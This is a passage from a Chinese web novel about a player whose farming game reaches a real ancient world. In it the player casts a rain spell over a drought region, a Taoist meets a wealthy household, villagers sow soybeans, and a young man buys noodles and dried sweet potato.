“您可是一言道士?我是孙府家丁,奉我家老夫人的命令来求仙师救命。” 先前张氏一直仙师仙师的叫,这会自己被别人给叫做仙师后 ,李归一不知咋地,总感觉心里有点别扭。 ——原先也不是没人叫过这个名号,只是那会他自负地以为,他救人合该被叫做仙师,但是在和山上的那位对比后,李归一顿觉自己或许还不够格能配得上这个名号。 当即打断他。 “叫我道长便好。” 家丁感觉这一言道士有些莫名其妙,但是也不敢反驳,赶紧换了叫法。 “道长,您看我家老夫人这事?” 李归一有些难搞地捏了捏眉头,叹了口气道:“前面带路,一便回吧。” 孙府老夫人和他的确有些私交,他不得不去一趟。 等上了马车,李归一先行询问孙府到底出了何事,因家丁并不知道具体情况,他只能作罢。 等马车走了一会后,他突然就想到先前李德一行人了。 “你们可知李德这人?他素日里是个什么样的人?” 状似不经意开口,实则李归一竖起了耳朵听。 随后,他就听到了家丁对于此人的一致恶评。 眼瞅着铁证如山,李归一苦笑了一身,察觉自己可能真的错怪了潜灵山的那位。 而等他回到城内后,在孙府下了车。 孙府大夫人提前得了信,赶忙带着一家老小前来迎接一言道士,等得望眼欲穿之际,总算是看到了身穿道袍的李归一。 “一言仙师,您可算来了!” 李归一被这称呼称得浑身发麻,这会赶忙假笑着打断她。 “大夫人,以后还是叫贫道道长吧。” 孙府大夫人和众人似乎被他这话给噎了一下,随后众人像是没事人一样,赶紧说起了要事。 等到听完孙府大夫人的求助后,李归一摸了摸胡须,提出先看看大娘子。 孙府大娘子往前走了几步,李归一就看到此人身上居然泛着淡淡的白气,忍不住惊呼一声。 “大娘子,你身上看着有些古怪。” 边说,李归一绕着大娘子转了几圈,若有所思地看着那丝丝缕缕不断凝聚成团的白气。 他伸手触及白气,很快这些白气像是玩闹一般在他手指尖跳跃,随后像是玩够了一样,再次缩到了大娘子的身旁。 而李归一这句话对于其余人来说,仿若平原扔下了一颗炸弹那般震慑。 大娘子有些紧张,这会万分后悔自己先前嘴馋。 周围人紧张得要命,其中,夏荷和春央则是俏脸发白,身子止不住地颤抖。 ——被一言道士判了死刑,她们二人还能活着出去吗? 两人垂着头,不敢想不敢动,唯有后背濡湿了一大块。 而孙府大夫人则是连忙追问。 “道长,是哪里古怪?难不成是有邪祟上身?可能做法将这邪祟祛除?” 眼瞅着众人这般紧张,李归一连忙摆摆手,“大夫人,您别多想,这不是邪祟,而是一种保护。” 啊?啥啊? 啥保护啊? 大娘子瞪大眼睛,忍不住询问。 “一言道长,此话怎讲?” 其余人的疑惑没比大娘子少,这会注意到众人的急迫,李归一长长地舒了口气,替众人解惑。 “你身上多了一缕先天之气,这气可护你顺利产子,至于你产子后还有没有气的保护,这我说不准。” 大娘子本还在懊恼,但在听到这话后,忍不住神色动容。 “道长,我当时就是吃了两碗那几人售卖的酸辣粉,为何会能获得这样的保护?” 李归一摸了摸胡子,脑内不自然想到了山上那位。 “这贫道的确不清楚。” 孙府大夫人倒是想到了一事。 “大娘子身旁伺候的两个丫鬟也吃了这粉,道长不如也替她们看看?” 春央,夏荷很自觉地上前一步,垂头不动。 李归一也有些兴趣,慢慢地凝视着眼前这二人。 但是可惜的是,这两人身上并未有任何所谓的气,看来,那气是大娘子独有的。 将这话回报给孙府大夫人后,众人也是疑惑得紧。 ——都是吃了酸辣粉的人,为何大娘子有,别人没有? 其中终于有人试探着开口。 “娘,是不是因为嫂嫂怀着孩子的缘故,所以才会有一言道长所谓的气。” 说话这人是孙府大夫人最小的女儿,孙小娘。 经过孙小娘这么一说,众人顿觉有几分道理。 李归一点头,“看来那物只作用于怀着身孕的妇人,别人都是没有的,这事倒也算是大娘子阴差阳错,得了缘分。” 孙府大夫人此刻心里有些想法。 ——这么说来,先前几天在城口闹得沸沸扬扬的妖孽一行,其实并非妖孽? 毕竟就连一言道长都说了,这气不仅不是邪祟,而且对人还有好处,这么一推论,岂不是说明那行人身上有着别的机缘造化? 单是这么一想,孙府大夫人顿觉心口砰砰砰直跳。 李归一看了眼众人,觉得该是自己离开的时候了。 “既然府内无事,贫道便先行离开。” 孙府大夫人连忙恭敬送他出门,当然了,给李归一的出台费也没少给。 那诊费用红木托盘托着上来,上面盖上了绢布,让人瞧不清楚到底是多少钱。 李归一倒是大大方方地接下。 ——他拿人钱财,替人消灾很合理吧? 若是一文不取,他这些年早就该饿死了。 等到送走了一言道长后,孙府众人这才松了口气,其中,春央和夏荷两人则是最为庆幸。 天知道她们二人当时有多紧张! 好在结果是好的,大娘子非但无碍,反而还获得了庇护。 没想到这事还有这般的变化,孙府大夫人倒是还算公正。 先前罚工资一个月还是要罚的,但是赏钱也得给。 她从私库里拿了两盒子的珠宝首饰,赏给了春央夏荷二人。 至于对自己的儿媳妇,她也没小气,而是特意挑选了一匣子最为贵重的珠宝送了过去,除了这以外,两盒百年人参,一罐子人参养生丸也被她打发丫鬟们送过去。 而在自己屋内,孙府大娘子则是有些难言地抚摸着肚子。 前一个月时,她前去看望怀孕九个月的好姐妹,白娘子,岂料刚和她说了几句话,白娘子便脸色发白,被府内的丫鬟扶着下去了。 稳婆急匆匆地跑来跑去,她知道,这是要生了。 本以为会顺顺利利地生下孩子,而令她没想到的是,白娘子竟然没了。 她知道这消息时,看到的便是好友静悄悄地躺在床上,昔日的活泼不见,留下来的她,像是像是一株毫无生气且易碎的冰花。 回去后她就生了场病,这病细密地折磨了她半个月,直到她告诉自己,为了孩子,她得坚强点。 强迫着自己忘记好友的离开,身体这才逐渐转好。 本以为她是彻底忘了这事,但是直到刚才,孙娘子才深切地体会到,原来她根本一直也没能忘记。 白娘子死去时的模样似乎还在眼前,她呼出一口气,眼角弥漫出湿气。 ——何其可怜,要是白娘子也吃了那碗粉该多好。 擦了擦眼角,孙娘子突然觉得,她吃到的酸辣粉,或许能拯救许多妇人的生命。 现在生孩子可谓是闯鬼门关,若是别人也能和她一样,有幸能吃上这碗粉,平平安安地生下孩子多好! 回想到好友,孙娘子最终下了决定。 ——她要打听那伙人去了哪里,若是打听到了,她想请对方继续回来售卖酸辣粉,毕竟这能造福的人太多了。 打听张氏的事落在了夏荷头上,毕竟她先前和那行人打过交道,想必打听消息要更方便一些。 而风仙县县令府内,几人分散而坐,眉目间流露出后怕。 “那日城门口的蹊跷,你们可听说了?” 先开口的是王县令,此人除了素日疯狂搜刮民脂民膏外,县令该做的事是一点也不做。 先前城门口出事时,他还在府内和侍妾玩闹。 这消息还是官兵着急回报来的。 高典历和李县丞一言不发,蹙眉端坐在座椅上。 汪县尉则是瞥了二人一眼,这才回王县令话。 “大人,依我看,惹出城门口这事主要原因还是李县丞管教不当,他那表弟太过于跋扈,这才招惹上不该惹的东西。” 李县丞脸色还能绷得住,就是说话的语气冰凉了几分。 “汪县尉,事发当日,我听闻你正在家中寒馆纳凉?” 在这么热的天,能花费数金去弄一个专供纳凉的屋子,绝对是大手笔。 但按照大炎朝的法令,他汪县尉作为一个小小的县尉,单靠着俸禄可弄不到这么多钱。 李县丞这是在敲打他,——他表弟犯了错是不假,但这些年,若没有他表弟,他们几人如何搜刮钱财? 汪县尉被这话哽了一下,其余两人倒也明白李县丞的意思。 王县令咳嗽一声,面上看着很愁。 “先不提李德,先说说城门口那日,那物到底是何物?是鬼魂?” 一直沉默的高典历开口:“大人,这个我们不精通此术,当找个精通此术的人来看看才是。” 李县丞跟着点头,“是啊大人,我听闻咱们城内有一名为一言道士的奇人,此人精通术法,依我见,不如把他请过来,替大人分忧。” 很快,县令府内出动了不少护卫,前去请那位一言道士过来看看情况。 而李归一此刻,则正打算离开风仙县,前往别的地区去游历。 岂料他刚在一家店内歇息下,转头这店内就被官兵包围了。 还没搞清楚状况的李归一先是给自己卜了一卦,随后才大摇大摆地走下楼。 而等待着他的,正是县令派出来的官兵们。 多少是求到了李归一头上,汪县尉亲自带兵过来请他。 在看到一言道士之际,他赶紧扯起了笑,朝着李归一握拳。 “失礼失礼,一言道长!” 而李归一则是捋了捋胡须,斜眼看他。 “可是找我询问那城门之事?” 汪县尉点头似小鸡啄米,眼神发光。 “果然不愧是道长,在下还没说话,便已经要知道在下所问何事,依道长之见,那日在城门作祟的可是鬼魄?” 李归一想了想自己亲眼所见的景象,随即眼带可怜地看向他,那眼神看得汪县尉后背发凉。 “非鬼魄,实则仙人。” “贫道言尽于此。” 说完这话,李归一则是甩了甩道袍,越过这行人往前走去。 后面那人还不死心,继续问,“道长,可能破解?” 李归一没理会他,而是抬头看天,呢喃道:“有道是顺势而为啊,顺势而为。” 先前他从潜灵山下来后,便为这世道寻求解法,结果卜卦的结果显示的便是顺势而为。 李归一稍微琢磨便想到了那位。 ——难不成,顺着他的势? 他的推衍之术学得还算精进,既然是上天给的指示,他李归一试试又如何? 此番游历,不如查明这天下状况,若是天下人过得不如那人山上的人,那他从今往后,便顺了他的势,替他游历,替他书写传播那山上的生活。 做完决定,李归一只感觉自己浑身轻松,他快步往前走,身后的汪县尉气急败坏,想留下李归一,仔细问个清楚,然而拦着他的几人,却被李归一伸手点了穴道。 汪县尉只能眼睁睁地看着李归一走远,却无可奈何。 而闲了好几日的黄掌柜,终于迎来了冲着他打听酸辣粉的第一人。 这人不是别人,正是孙府的夏荷。 “黄掌柜,你的意思是说,想买酸辣粉,就得去斗坡村去?” 黄掌柜摊了摊手,有些无奈。 “那张掌柜走得急,临走前就留下这一句话,我也不知真假,若是夏荷姑娘有空,可以亲自去那里看看。” 夏荷点头,好在知道了这些人去了哪里。 眼看着夏荷走远,黄掌柜有些唏嘘。 竟然还真有人过来问酸辣粉啦? 刚想坐下歇一会,结果转头又看见一个熟人。 “哎——是赵少爷?可是要点冰?” 眼看老熟人来了,黄掌柜赶忙起身,笑呵呵地招呼对方。 而赵金构则先买了两份,随后向他打听那酸辣粉的去处。 等到问到了自己想知道的问题后,赵金构不由地沉思。 ——这几天他已经和祖母借着出门纳凉祈福的借口去了城外,这是他最后一次回城内,细软已经打包好,他思来想去,还是决定过来问问前些日子酸辣粉的事。 本没抱太大希望,结果谁能想到,竟然还真让他得到了消息。 斗坡村。 因地瓜加工厂已建造完毕,先前的建筑工人暂时闲了下来。 张山将此事告知仙师,本以为事情便告一段落了,谁知,他又被仙师委以大任。 “建完了?那别歇着,继续建,这次建豆腐厂。” 豆腐这物,张山听得迷糊。 这物到底是什么? 而这时,山上那批受到教育的村民则是被姜定传送了出去。 这些人先后看了豆类制品的制作,以及优质大豆的培育等视频。 姜定想得很简单。 ——既然地瓜厂建造完毕,这代表着主食问题解决了,在古代,人除了主食,最重要的就是蛋白质了。 最便宜,最方便的蛋白质,莫过于豆类制品了。 据他的了解,这里是有大豆种植的,产量虽说不高,但是还能勉强用。 要是之后在种植的时候,能获得更高品质的大豆种子就更好了。 不过这事也只能先想想罢了。 眼下的难题并非大豆产量,而是先要解决山下缺水的现状。 附近的村民全靠一条河过活,而豆类的生长需要的水肯定是要比番薯多的。 姜定看着大豆种子发呆,心想要是有一张天气卡什么的就好了。 但是可惜的是,目前他并不知道哪里能有途径得到这种能影响天气的道具,只能叹息作罢。 正当姜定打算去山头看看众人的进度时,意外出现了。 游戏提示毫无征兆地弹跳出来。 【恭喜你获得了云游道士的认可,道士推演万物后决定替你效力。】 【你学会了谱写降雨咒。】 【云游道士在途中遇到了一对因饥渴而死亡的兄妹,感慨之际,又恨自己无法催动降雨咒,请你使用降雨咒选中区域后降雨吧。】 连着三条提示顿时让姜定陷入沉思。 ——所以说,上次的道士果然是个剧情人物啊! 虽说他上次啥也没干,就和对方说了一句话,但是现在对面竟然给了他降雨咒的书写方式啊! 姜定激动了。 点开这降雨咒,很快他便搜集好了谱写咒语的材料。 等到成功制作出一张降雨咒后,姜定乐了。 想了想游戏弹出来的最后一句话,姜定很快选定了可选区域内最为干旱的区域。 点击使用后,一段极为精美炫酷的CG动画弹了出来。 只见在那黑云翻滚中,主控淡青色的袍角被吹得猎猎生风,金龙在他背后翻滚,那张无可挑剔的脸庞神色冰冷,他指尖勾画出符纸的纹路,随即再将那符纸抛射出去。 天地为之一震,随即便是暴雨倾盆而下。 等到动画结束之际,姜定眼尖地注意到,他的昵称竟然被刻入了云层中。 “我去,这也太精美了,一个种田游戏怎么给人搞这么精美的动画啊?这太酷了,简直吊打3A大作!” 姜定啧啧有声,再次按下重播键欣赏一番。 而此刻,这里正是明州境内的崇县。 崇县远离河流,干旱数日导致土地皲裂,万物消萎,这里距离姜定所推广番薯区域也远,百姓生活过得异常惨烈。 日头高照,流民们像是干尸一般漫无目的地走在乡间土路上。 这些人都是无家可归的人,眼下只想着尽快逃离崇县,前往其他有水源的县城活命。 在山峰的寺庙内,一女子则是推开窗,静静地看向山下流窜的流民。 房间外,是一众黑衣人将整个寺庙团团围住,不让任何一人靠近这里。 祝应看着仓皇逃窜的众流民,眼神微微一暗。 随即看向放在书桌上她被迫写出来的对于干旱的应对,顿觉可笑。 ——她此番应对,那些人定要拿着去金銮殿上表功,朝廷的确会拨放赈灾款,但一层层地往下传递,这钱又有多少能真正用在老百姓手里? 她看了看自己因久困内室而惨白的双手,转身再看向铜镜,女子不苟言笑的惨白面孔跟着她的动作微微而动。 ——是的,这是她,被幽禁已有十五年,她可谓是求生不能,求死不得。 屋外屋内全是看管她的人,想绝食,有人掰开她的嘴给她往里灌,想用刀捅死自己,屋内无一尖锐物品,白陵吊死也不成,屋内目光所及之处,没有能供她赴死的条件。 这十五年来,她从一开始的希望逃走,再到后面的心如死灰。 每日唯一的乐趣大概就是打开这扇窗,长长远远地看着那窗外。 她叹了口气,坐在书桌前,对着那扇窗发呆。 而这时,却突有一串闪电划过天际。 祝应猛地起身,快步走向窗口。 闪电?是她看错了? 要知道崇县已数个月未曾降雨了! 等她凝视着天空时,这才发现,不知何时,乌云遮挡住了烈日,天地间俨然一副摧枯拉朽的撼人模样。 祝应未曾反应之际,雷霆暴雨便倾盆而下。 雨珠子溅射在她伸出去的手指尖,祝应感觉手指尖浸润着湿漉漉的雨气。 ——太好了,可算下雨了,那些奔走他乡的人,当是有活路了。 祝应内心涌出一股淡淡的欢喜,而后,她却浑身一愣。 刚才她似乎在云层中看到了人影。 祝应更加集中注意力,去看那云层中一闪而过的人影。 倒是还真让她看到了这人的背影。 这人是背对着她,站定在云层中。 一席飘逸至极的长袍,身后缠绕着一条金色蛟龙。 狂风吹得来人的秀发止不住地飘扬,祝应注意到这人似乎是甩了一张什么东西出去,随后雨就下得更猛烈了。 祝应那颗早已麻木的心此刻跟着跳跃起来。 ——肉身飞天,这肯定不是凡人,再联想到这人背后的金龙,祝应怀疑自己是不是看到了施法下雨的龙王。 而就在她想再看此人一眼后,那风暴中心的身影却消失了。 这雨先是暴雨滂沱,随后淅淅沥沥地下了一天。 直到雨水浸透了先前因为干涸而裂开的田地,填满了干涸的水池,天这才放晴。 祝应一直站在窗口,不断回想着刚才那一幕。 等到天光大亮之际,她看到云层之后,似乎是浮现出两个闪着金光的字。 眯起眼睛,扶住窗,祝应尽量想看清楚这两个字。 等到她看清楚这二字后,忍不住呢喃出声:“将定意思是,天下将定?” 要知道,现在整个大炎朝看似整合,实则分散不堪,百姓日夜受战乱之苦,无一人不想着天下将定。 若再想想现在把持政权的都是何等人物,祝应那张本就惨白的脸庞更是惨淡了几分。 ——依她看来,目前这三人无一人能将定天下,无论是能力品行,三人均是拙劣不堪,如何能统领天下,安定百姓? 既上天给了“将定”二字指引,那天命必定难违,祝应强行逼迫自己往好处想,先前这三人当道,上天未曾给出指令,而今日突然有这般指令,难道是说,会有其余英雄人物出现? 这雨不仅仅是下了崇县,别的久旱地区也陆陆续续下了一场暴雨。 而暴雨过后,普通老百姓是各个叩首感谢老天爷开眼,没有绝了他们活路,而别有用心的人,则是注意到了那云层中的字样。 将定? 将定! 将定。 天命自然是属于自己的。 三州内的三人均是神清气爽,各个都觉得这天命是落在了自己身上。 当然了,主要原因还是因为三州距离遥远,通信不便,所以这三人才会这般认为。 府衙内,众人各个视这二字为祥瑞,都敞开了地喝酒赴宴,而在其中,倒也不是人人都这般开怀,那些背地里瞧不上这三人的谋士,则是心生哀恸。 ——天命如何能落在这样的人手中?这般荒谬行事的人,如何能定得了这天下。 各个人心惶惶,聚集在一起讨论应对手段。 而姜定此刻,正查看着降雨过后,推广大豆种植的条件是否符合。 等到他看到土壤条件充足后,则是远距离通知负责推广大豆种植的里正,可以进行种植了。 起初还未学习豆类食品的制作时,里正一行人只觉得这大豆实在是没必要大批量种植,毕竟这豆子煮熟了不顶饱不说,还会涨肚子,可谓是没什么用处的作物。 但当他们在先后品尝了豆类加工产物,豆腐,豆皮,豆花,豆干,豆浆,腐竹等等后,突然发现这大豆竟然是这般完美。 豆类加工品,吃了口齿留香,还易于消化,吃了几天后,他觉得自己连干活都有劲了不少。 关键是这大豆能做成的种类太多了,花样更是多到没边。 先前被姜定送下去推广酸辣粉的张氏十人,这会又被任命去继续学习豆类美食的制作。 在姜定的预设里,每推出一款加工品,必须要让人品尝到这类加工品的美味,这样这些人才会去买,他的加工厂才能赚钱。 加工品赚钱了,他才能有钱去雇佣工人,本区域的劳动力才能有收入,有了收入就要消费吧,这样就是完美闭环了。 而里正此刻,看着湿漉漉的土壤,激动得老泪纵横。 ——多少天了,终于降雨了!且他看得分明,那降雨的人,不是别人,正是仙师! 第24章 买卖 不仅仅是里正看到了仙师降雨,其余在山上的工人们也看到那一幕。 在暴雨浇透土壤时,他们各个跪在土地里,近乎虔诚地以头触地。 ——全是那位和善,心忧天下! 而姜定则是看着屏幕里跪了一堆的小人尴尬得直摸鼻子。 啊,他也不知道啊,这群人突然就念叨着什么感恩仙人降雨啊就跪过来了 而里正则是想起来仙师前段时间忙得不见人影,想必是去准备给各地区降雨了。 原先仙师让他负责村庄大豆类的生产,他刚有些发愁,毕竟按照那学堂所说,大豆生长必须需要足够的水分,但附近久旱,水分自然是不够的,刚想思索该如何解决,谁知道仙师却早他一步,解决了豆类生长需要的水分。 现在土壤正处于湿润状态,正是最好的播种时间。 里正没时间去浪费,赶忙带着一众人,去田间去种植豆类。 至于这次种植大豆,游戏并未显示需要给村民们付工资,只是提醒姜定必须定个收购价格。 当然了,价格不能低于游戏的最低价格。 在本地,大豆收购价位为3文钱一斤,而游戏内给出的最低价格为6文钱一斤 这可是差一倍啊。 姜定嘟囔了两句,心想这地方对于他这个外来的可真是不友好。 不过手还是诚实地点了确认。 既然收购价格已经确认,姜定自然是将这收购价告知了负责此事的里正。 里正这会正在田间教授村民关于大豆种植的技巧——套种! 这个名词他还是从学堂里知晓的。 大豆可以和多种作物套种,能更好的利用土地资源。 譬如和玉米,棉花,番薯,高粱这几类套种,不仅不会影响作物,反而会让他们生长得更好。 期间也有年纪小的小孩子打破砂锅问到底。 “阿公,这是为什么呀?” 里正有些尴尬地看了自家孙子一眼。 “我这老头子哪能学懂那么难的东西,只知道套种能让农作物生长得更好,你要是想问的话,改天阿公再上去好好学学,好好看看再告诉你。” 小孩有些失落,但是在听到里正后面的话后也就雀跃起来。 而里正则继续教导村民,等确定大伙都学会了播种和套种后,里正却听到脑内传来一声熟悉的声音。 这这声音是仙师?! 里正有些激动,赶忙回话。 “仙师,您有事?” 却听对方淡淡回道。 “里正,大豆的收购价格定为6文一斤。” 6文? 这可是比官方收购价贵了一半啊! 里正不敢置信,但是回想到仙师给工人们开的工钱最低都是一百文,他顿时又想开了。 ——他怎么又陷入凡人思维了呢,简直是太不应该了! 赶忙应下后,仙师似乎还有别的事要忙,脑内再也没了声音。 而里正此刻则是兴奋得浑身颤抖。 收购价贵了一半,今年又是灾年,想必征粮税也得明年才能下来,那今年纯粹是净收入啊! 若是大伙都知道了这事,那今年种地也能攒点钱了! 虽说大豆伺弄起来是有些费尽,但是套作的番薯省心,一块地能有两份收入,这真的已经很好了。 里正在脑内稍组织语言,这才将收购价抛出。 果不其然,众人在得知收购价后,人群像是炸开了锅一般。 “里正,这收购价这么高?” “不敢想,套种本就有两份收入,再加上大豆收购价格暴涨,今年岂不是?” “里正,这价格可是真?不会等我们种好了,收的时候价格就变了吧?” 面对铺天盖地的质疑和兴奋,里正表现得就淡定多了。 “我说几句,仙师的能耐大伙都知道,那样的神仙,大伙扪心自问,他有必要去坑骗我们这些凡人?” 里正的话很有道理,有些人本还有些不信仙师存在,但在看到那日布雨的人影后,这会内心是真信了。 大伙连忙摆手,脸上带着尴尬。 “哪里的话,里正,大家伙就是没反应过来这事是仙师要求的” “是啊里正,仙师那般神通,自然不会去骗咱们这些小民。” 田埂间顿时一片嘈杂,里正揉了揉脑袋,摆摆手示意他们闭嘴。 “行了,都别说了,赶紧回去种地啊,这次价格这么高,也就是仙师可怜咱们!要是想攒点钱的,回去了就好好种地,产量多了自然今年收入就高。” 里正这番话说得很对,本还在田埂间站定的一群人,顿时散开了。 眼瞅着人陆续离开,里正低着头播种,心里想的却是另外一回事。 ——学堂里的知识,他们这些老骨头肯定是学不动了,就是不知道那学堂允许孩童们进去学习不? 刚想到这里,里正赶忙摇头阻止自己进一步想下去。 他真是疯了,仙师能让他们吃饱穿暖已经是天大的福分,他怎敢奢求让孩童们去读书? 若是让仙师知道,岂不认为他是蹬鼻子上脸? 不敢任由自己想下去,里正埋头于田野间,只顾着播种。 而就在他奋力耕作之际,有道阴影却停留在他脑袋处。 抬头一看,来人竟是杨延。 里正直起身子,眼神中带着疑惑。 “杨书生,你怎地来了?可是有事?” 杨延有些不好意思道:“里正,在您教授种植时杨某就来了,只不过被人群挤在最后面而已。杨某找您,是有事相求。” 听到前半句时,里正微微尴尬,不过在听他有事相求后,面色不自觉缓了几分。 杨延几人自上次被他留下来后,本打算哪天带着这人上山问问仙师该如何定夺,但是事情一多,再加上此人在村中很是安稳,不仅不惹事,反而主动开办学堂,免费教导孩童,时间一长,他也就懒得带人上山了。 这几人被他安排在一处废弃的房子内,吃喝的话,上次番薯收获时,他给他们留了一些番薯,素日里也有村民去给他送点吃食,用作杨延教导孩子的谢礼。 几人的日子倒也还算能凑合过去。 今天突然看到杨延这般认真严肃的表情,里正顿觉不安。 ——莫不是这家人想离开他们村,回老家了? 毕竟仙师降雨了,要不了多久,旱情缓解,他们也就能重返家乡了。 只是杨延走了,想必村中学堂肯定是开不下去了。 心里惋惜,里正面上不显,“你说。” “里正,杨某代表杨家,感谢您的收留,若是没有您当初的收留,我杨家人肯定都要没了,这些日子村民们对我们也颇为照顾,全家人现在只要能活着,杨某已经心满意足。 可惜,天不从人愿,前天,两个侄儿陆续发热,将家中最后一点积蓄全部耗光。 眼下,杨某必须为了这个家去赚钱,思来想去,杨某想到了一个办法,只是这事必须得先告诉您,看您的定夺。” 里正倒是有些吃惊杨家的两个小孩是何时病的,但现在他更好奇杨延想出的办法。 “你继续说。” 杨延看了眼里正,首先询问这大豆收购可有上限。 得到否定的回答后,他深呼一口气继续道,“刚才杨某看大家都忙着去种各自的田地,所以便想到之后杨某是否可以去周围村落,代为传授这种植法子? 自然,也不是白白教授,而是等大豆熟了后,被传授之人须给杨某十斤豆作为报酬。 若是更偏远,不便于来斗坡村的地方,杨某打算免费教授他们,然后将外地的大豆运送到本地,赚个差价,您看如何?” 这方法他也是在听到里正传授大豆播种技术后才确定下来的,先前他是打算过来找找里正,问问村里什么时候还会建造加工厂,再招收一批工人。 里正抚着胡须没吭声。 实际上,他觉得杨延这法子还是有赚头的,不过就是路途远了,也危险。 本想劝劝对方,结果在看到杨延那充满希冀的眼神,里正说不出扫兴的话。 “我倒是没意见,你若能做成,是你自身的能力,只是这需要本钱去采购运送大豆的车马,你可能凑够?” 杨延脸上带了些笑,“里正不必担忧,杨某自有办法,待杨某走后,学堂的事我嫂嫂能代为教导孩童,还望里正到时候能帮我照顾一番哥嫂侄儿们,杨某先在这里谢谢里正了。” 里正听到这安排后,顿觉这杨延做事肯定稳妥细心,于是拉着他仔细给他说明周边村落的情况。 等到大致将自己知道的村落情况告知杨延后,杨延对着他恭敬一拜,这才离去。 豆腐厂那边,正处于建造中。 原先那些建筑工人此刻正忙得热火朝天。 本以为在地瓜加工厂建完了后,他们又没活干了,但谁能想到,那边的加工厂刚完事,新的任务就又来了。 负责主工程的张百技心情舒爽。 前段时间他作为总工程负责人,张山特意将他的工钱往上提了提,现在每日能收入180文,和其余人100文比起来,他心满意足。 再加上妻子也在地瓜加工厂找到了一份工作,日100文,扣除伙食费和他娘治腿的药钱,每个月竟还能余下来4两左右! 这放在以往,简直不敢想! 张百技边干活,嘴角的弧度就没下来过。 这边叮叮当当地建着,而在存放粉条的库房,张山看着这满满当当的存货心里直发怵。 ——开工这些日子了,粉条和地瓜干倒是做出来不少,可惜根本没人买啊! 这一屋子囤货,若是全部卖不出去,以后加工厂能不能继续开还两说。 正忧心之际,有人快跑着过来找他,嘴里喊着的话让张山浑身一个激灵。 “张山总管,有人,有人想买咱们的粉!” 第25章 别的用途 张山本都考虑要不要打扰仙师询问销路了,结果谁能想到,话还没问出口,买家却先到了。 赶忙整理衣物,往外走去。 当时姜定给的设计图,预留出了名为办公室的位置,一开始张山不明白这办公室为何意,但等后面才晓得,这就是用来会客的地方。 往日倒是没人主动过来找他,鉴于第一次会面,张山将这次会面安排在加工厂的办公室内。 等张山过去时,便看到一位身着水绿色袍子的少年正端坐在椅子上。 见到他来了,绿袍少年微微眯起眼睛,露出笑容。 这少年模样是少有的俊秀,不过在经历过仙师那等容貌的冲击后,张山对眼前少年的脸免疫了不少。 这会张山的心里充斥着卖货的急切,脸上也不觉堆出笑,出声询问:“这位公子可是要购买粉条的人?” 赵金构拿着折扇的手微微顿住。 本以为这制作粉条的背后人定是不凡之人,结果在看到张山平平无奇的容貌和气质后,赵金构突然有些怀疑自己的判断。 心里有些失望,但想到今日最主要的是来买粉条,他也就劝自己开怀点。 “正是在下,不知您这粉条售价几何?” 说起售价,张山有些摸不准了。 他毕竟是按照仙师的命令建造地瓜加工厂的,当时只顾得先做,确实还来不及定价。 只能抱歉道:“这定价我还要请示仙师,你既然来了,不若先看看粉条质量,觉得好了再买。” 说起仙师,赵金构忍不住眼神微微发亮。 他在和祖母撤离城内后,倒是听闻城外发生的事,这仙师,和当初城门口的仙师可是一人? 于是赵金构假装不自觉打探道:“仙师?可和城内卖酸辣粉的妇人口中说的仙师是一人?” 张山有些稀奇地看了他一眼,“你认识我妻子?” 赵金构顿时愣住。 他就是打听仙师是否真是神仙,谁能料想,竟是打听到了正主身上。 似乎看出来赵金构的疑惑,张山爽朗笑着解释。 “我妻子是奉仙师任务,负责下山推广酸辣粉的,没想到效果不错,还真有人来村里买粉了。” 赵金构沉默地看着他,却听这人继续道。 “仙师真厉害,果然他永远走在我们所有人的前面,替我们指点迷津。” 眼看张山不知不觉便将他的猜测全部证实后,赵金构突然觉得自己的试探很没必要。 ——无论怎么看,这群人丝毫就不打算藏着掖着啊。 边说,张山边带着赵金构前往仓库看粉条质量。 他拿出一捆绑得干爽的粉条,递给赵金构让他看。 “这就是做酸辣粉的粉条,你看看质量满意不?” 赵金构伸手仔细查看,发现这物他确实没见到过,虚心请教张山如何使用粉条后,他倒是满意。 张山眼瞅着对面满意了,赶紧推销起了地瓜干。 “看看这个地瓜干,煮粥或者直接吃可顶饱了,赵公子请看。” 边说,张山边替赵金构演示一番。 而赵金构则是面色惊异。 “张管事,这物到底是何?” 提到地瓜,张山自然是自豪地介绍了一番仙师赐给他们村人的神种。 等赵金构听到每亩产出7000斤时,忍不住蹙眉反驳。 “张管事,亩产7000斤?你这确定不是在和我开玩笑?” 要是真有这物,大炎朝何苦会出现饥荒! 只要说多种点这番薯,也不会说有那么多人都吃不饱了。 察觉到自己被怀疑的张山很是不爽。 “这还是少的,有一块地种得好,收了得有八千来斤。赵公子,我从不说谎,是不是你出门打听一番便知。” 赵金构就算是再淡定的人,这会也有些控制不住面部表情。 随即他打量一番粉条,有些不确定开口:“这粉条可是这物做成的?” “正是。不过今年粉条价格要高一些,毕竟今年饥荒,番薯收购价格也高。” 赵金构点头,表示理解,随即询问这两物的报价。 张山声称去问问,眼瞅着张山离去,赵金构若有所思地看向他离去的背影。 这是去询问他口中的仙师去了? 而张山则是走到无人的房内,随即有些没底气地小声在脑内呼唤仙师。 ——话说回来,从来都是仙师联络他,他现在联系仙师,仙师能理会他么? 此刻,姜定眼看着游戏来了新的提示。 【张山的消息。】? 这是触发了新剧情? 姜定赶忙点击,随后就看到张山询问粉条和地瓜干的定价。 ——诶,所以说是有买家来了?说明上次的宣传有点用啊。 感慨完后,姜定按照游戏的推荐价格输入批发价。 粉条:40文一斤(因灾年价格浮动10文),地瓜干:一斤20文(因灾年价格浮动5文)。 等确定价格输入无误后,他点了确定。 【已确定批发价,正在回传价格。】 【回传成功。】 确定没有新任务跳出来后,姜定决定去看看矿产区域。 而张山正忐忑之际,脑内却传来那声熟悉至极的声音。 “何事?” 张山顿时感动,仙师日理万机,竟还能这么快回复他。 为了不浪费仙师的时间,张山赶紧将来事禀告上去,不出片刻,得到了仙师指挥的张山掀开帘子,笑着走向赵金构。 赵金构眼神微动,坐在椅子上没说话,张山一口气说出报价。 “地瓜干20文一斤,粉条40文一斤,赵公子想要多少?” 说实话,这价格并不贵,新奇少见,还尤其是在荒年,这个价格可谓是良心。 赵金构笑着摇了摇扇子,“多买些可有让利?” 张山有些不太自然地回绝了他。 “抱歉,赵公子,仙师报的价格,我也不敢随便给你便宜。” 赵金构: “那行,各自给我来3000斤。” 张山瞳孔骤缩。 ——三千斤?他没听错吧? 掰了掰手指头,张山不由愕然。 这可是180两了! 赵金构自然是注意到了张山的小动作,——都做管事的人,竟然不会心算? 他不由地蹙眉,有些怀疑这幕后掌柜看人的能力了,但是转念一想,或许是他狭隘了,想必这张管事有他的独特之处,只不过他不知晓罢了。 一下子卖出去这么多,给张山整得头晕眼花。 他喊了厂子里几个壮年男子,帮着往马车上装货。 